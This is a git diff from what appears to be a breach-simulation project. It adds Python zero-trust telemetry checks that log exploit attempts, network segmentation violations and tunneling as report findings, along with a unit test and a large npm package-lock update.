+ u"gc-enforcement-channel.exe",
+ u"gc-enforcement-agent.exe",
+ u"gc-agent-ui.exe"
+]
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
new file mode 100644
index 000000000..454f3a7fe
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
@@ -0,0 +1,39 @@
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
+from monkey_island.cc.models.zero_trust.event import Event
+
+
+def test_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp):
+ events = [
+ Event.create_event(
+ title="Exploit attempt",
+ message="Monkey on {} attempted to exploit {} using {}.".format(
+ current_monkey.hostname,
+ target_ip,
+ exploiter),
+ event_type=EVENT_TYPE_MONKEY_NETWORK,
+ timestamp=timestamp
+ )
+ ]
+ status = STATUS_PASSED
+ if exploit_successful:
+ events.append(
+ Event.create_event(
+ title="Exploit success!",
+ message="Monkey on {} successfully exploited {} using {}.".format(
+ current_monkey.hostname,
+ target_ip,
+ exploiter),
+ event_type=EVENT_TYPE_MONKEY_NETWORK,
+ timestamp=timestamp)
+ )
+ status = STATUS_FAILED
+
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_MACHINE_EXPLOITED,
+ status=status,
+ events=events
+ )
+
+ add_malicious_activity_to_timeline(events)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
new file mode 100644
index 000000000..50e60e493
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
@@ -0,0 +1,110 @@
+import itertools
+from six import text_type
+
+from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED
+from common.network.network_range import NetworkRange
+from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
+from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
+
+SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \
+ "from `{src_seg}` segments to `{dst_seg}` segments."
+
+SEGMENTATION_VIOLATION_EVENT_TEXT = \
+ "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \
+ "managed to communicate cross segment to {target_ip} (in segment {target_seg})."
+
+
+def test_segmentation_violation(current_monkey, target_ip):
+ # TODO - lower code duplication between this and report.py.
+ subnet_groups = get_config_network_segments_as_subnet_groups()
+ for subnet_group in subnet_groups:
+ subnet_pairs = itertools.product(subnet_group, subnet_group)
+ for subnet_pair in subnet_pairs:
+ source_subnet = subnet_pair[0]
+ target_subnet = subnet_pair[1]
+ if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet):
+ event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet)
+ SegmentationFinding.create_or_add_to_existing_finding(
+ subnets=[source_subnet, target_subnet],
+ status=STATUS_FAILED,
+ segmentation_event=event
+ )
+
+
+def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet):
+ # type: (Monkey, str, str, str) -> bool
+ """
+ Checks is a specific communication is a segmentation violation.
+ :param current_monkey: The source monkey which originated the communication.
+ :param target_ip: The target with which the current monkey communicated with.
+ :param source_subnet: The segment the monkey belongs to.
+ :param target_subnet: Another segment which the monkey isn't supposed to communicate with.
+ :return: True if this is a violation of segmentation between source_subnet and target_subnet; Otherwise, False.
+ """
+ if source_subnet == target_subnet:
+ return False
+ source_subnet_range = NetworkRange.get_range_obj(source_subnet)
+ target_subnet_range = NetworkRange.get_range_obj(target_subnet)
+
+ if target_subnet_range.is_in_range(text_type(target_ip)):
+ cross_segment_ip = get_ip_in_src_and_not_in_dst(
+ current_monkey.ip_addresses,
+ source_subnet_range,
+ target_subnet_range)
+
+ return cross_segment_ip is not None
+
+
+def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet):
+ return Event.create_event(
+ title="Segmentation event",
+ message=SEGMENTATION_VIOLATION_EVENT_TEXT.format(
+ hostname=current_monkey.hostname,
+ source_ip=get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet)),
+ source_seg=source_subnet,
+ target_ip=target_ip,
+ target_seg=target_subnet
+ ),
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ )
+
+
+def test_passed_findings_for_unreached_segments(current_monkey):
+ flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist]
+ create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey)
+
+
+def create_or_add_findings_for_all_pairs(all_subnets, current_monkey):
+ # Filter the subnets that this monkey is part of.
+ this_monkey_subnets = []
+ for subnet in all_subnets:
+ if get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) is not None:
+ this_monkey_subnets.append(subnet)
+
+ # Get all the other subnets.
+ other_subnets = list(set(all_subnets) - set(this_monkey_subnets))
+
+ # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are the pairs that the monkey
+ # should have tested.
+ all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets)
+
+ for subnet_pair in all_subnets_pairs_for_this_monkey:
+ SegmentationFinding.create_or_add_to_existing_finding(
+ subnets=list(subnet_pair),
+ status=STATUS_PASSED,
+ segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair)
+ )
+
+
+def get_segmentation_done_event(current_monkey, subnet_pair):
+ return Event.create_event(
+ title="Segmentation test done",
+ message=SEGMENTATION_DONE_EVENT_TEXT.format(
+ hostname=current_monkey.hostname,
+ src_seg=subnet_pair[0],
+ dst_seg=subnet_pair[1]),
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ )
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py
new file mode 100644
index 000000000..5f986e3b5
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py
@@ -0,0 +1,46 @@
+import uuid
+
+from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_PASSED, STATUS_FAILED, \
+ EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
+from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import create_or_add_findings_for_all_pairs
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+FIRST_SUBNET = "1.1.1.1"
+SECOND_SUBNET = "2.2.2.0/24"
+THIRD_SUBNET = "3.3.3.3-3.3.3.200"
+
+
+class TestSegmentationTests(IslandTestCase):
+ def test_create_findings_for_all_done_pairs(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET]
+
+ monkey = Monkey(
+ guid=str(uuid.uuid4()),
+ ip_addresses=[FIRST_SUBNET])
+
+ # no findings
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
+
+ # This is like the monkey is done and sent done telem
+ create_or_add_findings_for_all_pairs(all_subnets, monkey)
+
+ # There are 2 subnets in which the monkey is NOT
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 2)
+
+ # This is a monkey from 2nd subnet communicated with 1st subnet.
+ SegmentationFinding.create_or_add_to_existing_finding(
+ [FIRST_SUBNET, SECOND_SUBNET],
+ STATUS_FAILED,
+ Event.create_event(title="sdf", message="asd", event_type=EVENT_TYPE_MONKEY_NETWORK)
+ )
+
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 1)
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_FAILED)), 1)
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 2)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
new file mode 100644
index 000000000..ce34c2bb4
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
@@ -0,0 +1,27 @@
+from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
+
+
+def test_tunneling_violation(tunnel_telemetry_json):
+ if tunnel_telemetry_json['data']['proxy'] is not None:
+ # Monkey is tunneling, create findings
+ tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json)
+ current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json['monkey_guid'])
+ tunneling_events = [Event.create_event(
+ title="Tunneling event",
+ message="Monkey on {hostname} tunneled traffic through {proxy}.".format(
+ hostname=current_monkey.hostname, proxy=tunnel_host_ip),
+ event_type=EVENT_TYPE_MONKEY_NETWORK,
+ timestamp=tunnel_telemetry_json['timestamp']
+ )]
+
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_TUNNELING,
+ status=STATUS_FAILED,
+ events=tunneling_events
+ )
+
+ add_malicious_activity_to_timeline(tunneling_events)
diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py
index 1c708279e..35e568399 100644
--- a/monkey/monkey_island/cc/testing/IslandTestCase.py
+++ b/monkey/monkey_island/cc/testing/IslandTestCase.py
@@ -1,6 +1,7 @@
import unittest
from monkey_island.cc.environment.environment import env
from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.finding import Finding
class IslandTestCase(unittest.TestCase):
@@ -10,3 +11,7 @@ class IslandTestCase(unittest.TestCase):
@staticmethod
def clean_monkey_db():
Monkey.objects().delete()
+
+ @staticmethod
+ def clean_finding_db():
+ Finding.objects().delete()
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index 934b567e7..f366d73bd 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -56,7 +56,7 @@
"@babel/helper-module-imports": {
"version": "7.0.0",
"resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.0.0.tgz",
- "integrity": "sha1-lggbcRHkhtpNLNlxrRpP4hbMLj0=",
+ "integrity": "sha512-aP/hlLq01DWNEiDg4Jn23i+CXxW/owM4WpDLFUbpjxe4NS3BhLVZQ5i7E0ZrxuQ/vwekIeciyamgB1UIYxxM6A==",
"requires": {
"@babel/types": "^7.0.0"
},
@@ -74,7 +74,7 @@
"lodash": {
"version": "4.17.11",
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz",
- "integrity": "sha1-s56mIp72B+zYniyN8SU2iRysm40="
+ "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg=="
},
"to-fast-properties": {
"version": "2.0.0",
@@ -259,7 +259,7 @@
"@emotion/cache": {
"version": "10.0.9",
"resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-10.0.9.tgz",
- "integrity": "sha1-4Me3oon3Uw7c+tTc84WL0uVwCm8=",
+ "integrity": "sha512-f7MblpE2xoimC4fCMZ9pivmsIn7hyWRIvY75owMDi8pdOSeh+w5tH3r4hBJv/LLrwiMM7cTQURqTPcYoL5pWnw==",
"requires": {
"@emotion/sheet": "0.9.2",
"@emotion/stylis": "0.8.3",
@@ -270,7 +270,7 @@
"@emotion/core": {
"version": "10.0.10",
"resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.10.tgz",
- "integrity": "sha1-jTEU5aL4sXinBnxgOik3UW8YCwg=",
+ "integrity": "sha512-U1aE2cOWUscjc8ZJ3Cx32udOzLeRoJwGxBH93xQD850oQFpwPKZARzdUtdc9SByUOwzSFYxhDhrpXnV34FJmWg==",
"requires": {
"@emotion/cache": "^10.0.9",
"@emotion/css": "^10.0.9",
@@ -292,12 +292,12 @@
"@emotion/hash": {
"version": "0.7.1",
"resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.7.1.tgz",
- "integrity": "sha1-mDNyI0E3n7fWfwaksAqzw3kT2lM="
+ "integrity": "sha512-OYpa/Sg+2GDX+jibUfpZVn1YqSVRpYmTLF2eyAfrFTIJSbwyIrc+YscayoykvaOME/wV4BV0Sa0yqdMrgse6mA=="
},
"@emotion/memoize": {
"version": "0.7.1",
"resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.1.tgz",
- "integrity": "sha1-6TwTlCWSz17wGqgpdETcGSvu5S8="
+ "integrity": "sha512-Qv4LTqO11jepd5Qmlp3M1YEjBumoTHcHFdgPTQ+sFlIL5myi/7xu/POwP7IRu6odBdmLXdtIs1D6TuW6kbwbbg=="
},
"@emotion/serialize": {
"version": "0.11.6",
@@ -314,27 +314,27 @@
"@emotion/sheet": {
"version": "0.9.2",
"resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-0.9.2.tgz",
- "integrity": "sha1-dOXGteSJobowqyRqte7dlpFkh8Q="
+ "integrity": "sha512-pVBLzIbC/QCHDKJF2E82V2H/W/B004mDFQZiyo/MSR+VC4pV5JLG0TF/zgQDFvP3fZL/5RTPGEmXlYJBMUuJ+A=="
},
"@emotion/stylis": {
"version": "0.8.3",
"resolved": "https://registry.npmjs.org/@emotion/stylis/-/stylis-0.8.3.tgz",
- "integrity": "sha1-PKfpvLMbPLSvuutmFW2G7oXiMkY="
+ "integrity": "sha512-M3nMfJ6ndJMYloSIbYEBq6G3eqoYD41BpDOxreE8j0cb4fzz/5qvmqU9Mb2hzsXcCnIlGlWhS03PCzVGvTAe0Q=="
},
"@emotion/unitless": {
"version": "0.7.3",
"resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.3.tgz",
- "integrity": "sha1-YxCgR/EtIaEDb7AxMXIZiSRAQW8="
+ "integrity": "sha512-4zAPlpDEh2VwXswwr/t8xGNDGg8RQiPxtxZ3qQEXyQsBV39ptTdESCjuBvGze1nLMVrxmTIKmnO/nAV8Tqjjzg=="
},
"@emotion/utils": {
"version": "0.11.1",
"resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-0.11.1.tgz",
- "integrity": "sha1-hSm3QSputLSL325yDMG45uHhdig="
+ "integrity": "sha512-8M3VN0hetwhsJ8dH8VkVy7xo5/1VoBsDOk/T4SJOeXwTO1c4uIqVNx2qyecLFnnUWD5vvUqHQ1gASSeUN6zcTg=="
},
"@emotion/weak-memoize": {
"version": "0.2.2",
"resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.2.tgz",
- "integrity": "sha1-Y5hdPYsCUw4IaZYvTaCRQu6OIA4="
+ "integrity": "sha512-n/VQ4mbfr81aqkx/XmVicOLjviMuy02eenSdJY33SVA7S2J42EU0P1H0mOogfYedb3wXA0d/LVtBrgTSm04WEA=="
},
"@kunukn/react-collapse": {
"version": "1.0.5",
@@ -630,7 +630,6 @@
"resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz",
"integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=",
"dev": true,
- "optional": true,
"requires": {
"kind-of": "^3.0.2",
"longest": "^1.0.1",
@@ -689,7 +688,7 @@
"are-we-there-yet": {
"version": "1.1.5",
"resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz",
- "integrity": "sha1-SzXClE8GKov82mZBB2A1D+nd/CE=",
+ "integrity": "sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==",
"requires": {
"delegates": "^1.0.0",
"readable-stream": "^2.0.6"
@@ -703,12 +702,12 @@
"process-nextick-args": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha1-o31zL0JxtKsa0HDTVQjoKQeI/6o="
+ "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw=="
},
"readable-stream": {
"version": "2.3.6",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
- "integrity": "sha1-sRwn2IuP8fvgcGQ8+UsMea4bCq8=",
+ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -722,7 +721,7 @@
"string_decoder": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
- "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"requires": {
"safe-buffer": "~5.1.0"
}
@@ -3004,7 +3003,7 @@
"clone-deep": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz",
- "integrity": "sha1-ANs6Hhc2VnMNEYjD1qztbX6pdxM=",
+ "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==",
"requires": {
"for-own": "^1.0.0",
"is-plain-object": "^2.0.4",
@@ -3023,7 +3022,7 @@
"kind-of": {
"version": "6.0.2",
"resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz",
- "integrity": "sha1-ARRrNqYhjmTljzqNZt5df8b20FE="
+ "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA=="
}
}
},
@@ -3088,8 +3087,7 @@
"commander": {
"version": "2.15.1",
"resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz",
- "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==",
- "dev": true
+ "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag=="
},
"commondir": {
"version": "1.0.1",
@@ -3313,7 +3311,7 @@
"copy-to-clipboard": {
"version": "3.0.8",
"resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz",
- "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=",
+ "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==",
"requires": {
"toggle-selection": "^1.0.3"
}
@@ -3369,7 +3367,7 @@
},
"yargs": {
"version": "11.1.0",
- "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
+ "resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
"integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==",
"dev": true,
"requires": {
@@ -3420,8 +3418,8 @@
"resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz",
"integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==",
"requires": {
- "argparse": "1.0.9",
- "esprima": "4.0.1"
+ "argparse": "^1.0.7",
+ "esprima": "^4.0.0"
}
},
"parse-json": {
@@ -3429,8 +3427,8 @@
"resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz",
"integrity": "sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=",
"requires": {
- "error-ex": "1.3.2",
- "json-parse-better-errors": "1.0.2"
+ "error-ex": "^1.3.1",
+ "json-parse-better-errors": "^1.0.1"
}
}
}
@@ -3658,6 +3656,270 @@
"es5-ext": "^0.10.9"
}
},
+ "d3": {
+ "version": "5.11.0",
+ "resolved": "https://registry.npmjs.org/d3/-/d3-5.11.0.tgz",
+ "integrity": "sha512-LXgMVUAEAzQh6WfEEOa8tJX4RA64ZJ6twC3CJ+Xzid+fXWLTZkkglagXav/eOoQgzQi5rzV0xC4Sfspd6hFDHA==",
+ "requires": {
+ "d3-array": "1",
+ "d3-axis": "1",
+ "d3-brush": "1",
+ "d3-chord": "1",
+ "d3-collection": "1",
+ "d3-color": "1",
+ "d3-contour": "1",
+ "d3-dispatch": "1",
+ "d3-drag": "1",
+ "d3-dsv": "1",
+ "d3-ease": "1",
+ "d3-fetch": "1",
+ "d3-force": "1",
+ "d3-format": "1",
+ "d3-geo": "1",
+ "d3-hierarchy": "1",
+ "d3-interpolate": "1",
+ "d3-path": "1",
+ "d3-polygon": "1",
+ "d3-quadtree": "1",
+ "d3-random": "1",
+ "d3-scale": "2",
+ "d3-scale-chromatic": "1",
+ "d3-selection": "1",
+ "d3-shape": "1",
+ "d3-time": "1",
+ "d3-time-format": "2",
+ "d3-timer": "1",
+ "d3-transition": "1",
+ "d3-voronoi": "1",
+ "d3-zoom": "1"
+ }
+ },
+ "d3-array": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-1.2.4.tgz",
+ "integrity": "sha512-KHW6M86R+FUPYGb3R5XiYjXPq7VzwxZ22buHhAEVG5ztoEcZZMLov530mmccaqA1GghZArjQV46fuc8kUqhhHw=="
+ },
+ "d3-axis": {
+ "version": "1.0.12",
+ "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-1.0.12.tgz",
+ "integrity": "sha512-ejINPfPSNdGFKEOAtnBtdkpr24c4d4jsei6Lg98mxf424ivoDP2956/5HDpIAtmHo85lqT4pruy+zEgvRUBqaQ=="
+ },
+ "d3-brush": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-1.1.3.tgz",
+ "integrity": "sha512-v8bbYyCFKjyCzFk/tdWqXwDykY8YWqhXYjcYxfILIit085VZOpj4XJKOMccTsvWxgzSLMJQg5SiqHjslsipEDg==",
+ "requires": {
+ "d3-dispatch": "1",
+ "d3-drag": "1",
+ "d3-interpolate": "1",
+ "d3-selection": "1",
+ "d3-transition": "1"
+ }
+ },
+ "d3-chord": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-1.0.6.tgz",
+ "integrity": "sha512-JXA2Dro1Fxw9rJe33Uv+Ckr5IrAa74TlfDEhE/jfLOaXegMQFQTAgAw9WnZL8+HxVBRXaRGCkrNU7pJeylRIuA==",
+ "requires": {
+ "d3-array": "1",
+ "d3-path": "1"
+ }
+ },
+ "d3-collection": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/d3-collection/-/d3-collection-1.0.7.tgz",
+ "integrity": "sha512-ii0/r5f4sjKNTfh84Di+DpztYwqKhEyUlKoPrzUFfeSkWxjW49xU2QzO9qrPrNkpdI0XJkfzvmTu8V2Zylln6A=="
+ },
+ "d3-color": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-1.3.0.tgz",
+ "integrity": "sha512-NHODMBlj59xPAwl2BDiO2Mog6V+PrGRtBfWKqKRrs9MCqlSkIEb0Z/SfY7jW29ReHTDC/j+vwXhnZcXI3+3fbg=="
+ },
+ "d3-contour": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-1.3.2.tgz",
+ "integrity": "sha512-hoPp4K/rJCu0ladiH6zmJUEz6+u3lgR+GSm/QdM2BBvDraU39Vr7YdDCicJcxP1z8i9B/2dJLgDC1NcvlF8WCg==",
+ "requires": {
+ "d3-array": "^1.1.1"
+ }
+ },
+ "d3-dispatch": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-1.0.5.tgz",
+ "integrity": "sha512-vwKx+lAqB1UuCeklr6Jh1bvC4SZgbSqbkGBLClItFBIYH4vqDJCA7qfoy14lXmJdnBOdxndAMxjCbImJYW7e6g=="
+ },
+ "d3-drag": {
+ "version": "1.2.4",
+ "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-1.2.4.tgz",
+ "integrity": "sha512-ICPurDETFAelF1CTHdIyiUM4PsyZLaM+7oIBhmyP+cuVjze5vDZ8V//LdOFjg0jGnFIZD/Sfmk0r95PSiu78rw==",
+ "requires": {
+ "d3-dispatch": "1",
+ "d3-selection": "1"
+ }
+ },
+ "d3-dsv": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-1.1.1.tgz",
+ "integrity": "sha512-1EH1oRGSkeDUlDRbhsFytAXU6cAmXFzc52YUe6MRlPClmWb85MP1J5x+YJRzya4ynZWnbELdSAvATFW/MbxaXw==",
+ "requires": {
+ "commander": "2",
+ "iconv-lite": "0.4",
+ "rw": "1"
+ }
+ },
+ "d3-ease": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-1.0.5.tgz",
+ "integrity": "sha512-Ct1O//ly5y5lFM9YTdu+ygq7LleSgSE4oj7vUt9tPLHUi8VCV7QoizGpdWRWAwCO9LdYzIrQDg97+hGVdsSGPQ=="
+ },
+ "d3-fetch": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-1.1.2.tgz",
+ "integrity": "sha512-S2loaQCV/ZeyTyIF2oP8D1K9Z4QizUzW7cWeAOAS4U88qOt3Ucf6GsmgthuYSdyB2HyEm4CeGvkQxWsmInsIVA==",
+ "requires": {
+ "d3-dsv": "1"
+ }
+ },
+ "d3-force": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-1.2.1.tgz",
+ "integrity": "sha512-HHvehyaiUlVo5CxBJ0yF/xny4xoaxFxDnBXNvNcfW9adORGZfyNF1dj6DGLKyk4Yh3brP/1h3rnDzdIAwL08zg==",
+ "requires": {
+ "d3-collection": "1",
+ "d3-dispatch": "1",
+ "d3-quadtree": "1",
+ "d3-timer": "1"
+ }
+ },
+ "d3-format": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-1.3.2.tgz",
+ "integrity": "sha512-Z18Dprj96ExragQ0DeGi+SYPQ7pPfRMtUXtsg/ChVIKNBCzjO8XYJvRTC1usblx52lqge56V5ect+frYTQc8WQ=="
+ },
+ "d3-geo": {
+ "version": "1.11.6",
+ "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-1.11.6.tgz",
+ "integrity": "sha512-z0J8InXR9e9wcgNtmVnPTj0TU8nhYT6lD/ak9may2PdKqXIeHUr8UbFLoCtrPYNsjv6YaLvSDQVl578k6nm7GA==",
+ "requires": {
+ "d3-array": "1"
+ }
+ },
+ "d3-hierarchy": {
+ "version": "1.1.8",
+ "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-1.1.8.tgz",
+ "integrity": "sha512-L+GHMSZNwTpiq4rt9GEsNcpLa4M96lXMR8M/nMG9p5hBE0jy6C+3hWtyZMenPQdwla249iJy7Nx0uKt3n+u9+w=="
+ },
+ "d3-interpolate": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-1.3.2.tgz",
+ "integrity": "sha512-NlNKGopqaz9qM1PXh9gBF1KSCVh+jSFErrSlD/4hybwoNX/gt1d8CDbDW+3i+5UOHhjC6s6nMvRxcuoMVNgL2w==",
+ "requires": {
+ "d3-color": "1"
+ }
+ },
+ "d3-path": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.8.tgz",
+ "integrity": "sha512-J6EfUNwcMQ+aM5YPOB8ZbgAZu6wc82f/0WFxrxwV6Ll8wBwLaHLKCqQ5Imub02JriCVVdPjgI+6P3a4EWJCxAg=="
+ },
+ "d3-polygon": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-1.0.5.tgz",
